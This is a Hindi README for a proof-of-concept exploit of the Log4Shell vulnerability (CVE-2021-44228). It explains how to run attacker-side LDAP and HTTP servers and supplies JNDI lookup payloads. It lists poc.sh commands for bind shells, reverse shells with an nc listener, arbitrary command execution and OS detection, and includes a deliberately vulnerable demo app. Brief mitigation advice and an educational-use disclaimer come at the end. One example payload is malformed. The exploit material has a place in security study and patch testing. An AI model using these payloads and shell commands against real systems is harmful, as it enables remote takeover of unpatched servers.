CVE-2021-44228 PoC

CVE-2021-44228 के लिए PoC।

परियोजना केवल शैक्षिक उद्देश्यों के लिए बनाई गई है।

एक्सप्लॉइट सर्वर

यह परियोजना दो सर्वर बनाती है: http और ldap। एक्सप्लॉइट के काम करने के लिए दोनों आवश्यक हैं। निर्दिष्ट java फ़ाइल संकलित की जाती है और Dockerfile में सर्वर प्रारंभ किए जाते हैं। पेलोड उपयोगकर्ता को दिखाया जाता है - इसे असुरक्षित एप्लिकेशन को दिया जाना चाहिए।

उदाहरण पेलोड:

${jndi:ldap//127.0.0.1:1389/a}

कैसे चलाएं?

• बाइंड शेल (Bind shell)

./poc.sh -i 127.0.0.1 -l 1234 -t 8080 -e bind --remote-port 4445

• रिवर्स शेल (Reverse shell)

nc -lvnp 4444
./poc.sh -i 127.0.0.1 -l 1234 -t 8080 -e reverse --listener-port 4444

• RCE

./poc.sh -i 127.0.0.1 -l 1234 -t 8080 -e rce --cmd 'ls | tee log.txt'

• समय-आधारित कमज़ोरी का पता लगाना (Time based vulnerability detection)

यह प्रोग्राम को 25 सेकंड के लिए सुलाता है

./poc.sh -i 127.0.0.1 -l 1234 -t 8080 -e vulndetect

• OS का पता लगाना (OS detection)

nc -lvnp 4444
./poc.sh -i 127.0.0.1 -l 1234 -t 8080 -e osdetect --listener-port 4444

OS का पता लगाने पर 4 अक्षर वापस आ सकते हैं:

• L लिनक्स के लिए
• W विंडोज के लिए
• M मैकओएस के लिए
• U अज्ञात के लिए

बाइपास (Bypass)

बाइपास तकनीक प्रकाशित की गई थी। उदाहरण यहाँ

असुरक्षित एप्लिकेशन

यह एप्लिकेशन यह दिखाने के लिए डिज़ाइन किया गया था कि यह कैसे काम करता है। jar बनाने और एप्लिकेशन चलाने के लिए उपयोग करें:

./build_vuln_app.sh
java -jar vulnapp/target/vulnapp.jar 'PAYLOAD'

जहाँ PAYLOAD ./poc.sh स्क्रिप्ट से वापस आता है (जैसे ${jndi:ldap://127.0.0.1:1389/1})।

क्रेडिट्स (Credits)

इस एक्सप्लॉइट के निर्माण के दौरान उपयोग की गई परियोजनाओं और वेबसाइटों के लिए कुछ क्रेडिट:

• https://github.com/shanfenglan/apache_log4j_poc
• https://github.com/ivan-sincek/java-reverse-tcp
• https://www.lunasec.io/docs/blog/log4j-zero-day/
• https://github.com/RandomRobbieBF/marshalsec-jar

अपने आप को कैसे सुरक्षित करें?

लॉग4जे के साथ एप्लिकेशन log4j2.formatMsgNoLookups को true पर सेट करके प्रारंभ करें, या log4j-2.15.0-rc1 या बाद के संस्करण में अपडेट करें। अपडेट्स उपलब्ध हैं - उन्हें जल्द से जल्द लागू करें।

अस्वीकरण (Disclaimer)

इस परियोजना का उपयोग केवल शैक्षिक उद्देश्यों के लिए किया जा सकता है। लक्ष्य प्रणालियों के विरुद्ध पूर्व अनुमति के बिना इस सॉफ़्टवेयर का उपयोग करना अवैध है, और इस सॉफ़्टवेयर के दुरुपयोग से होने वाली किसी भी क्षति के लिए लेखक जिम्मेदार नहीं होगा।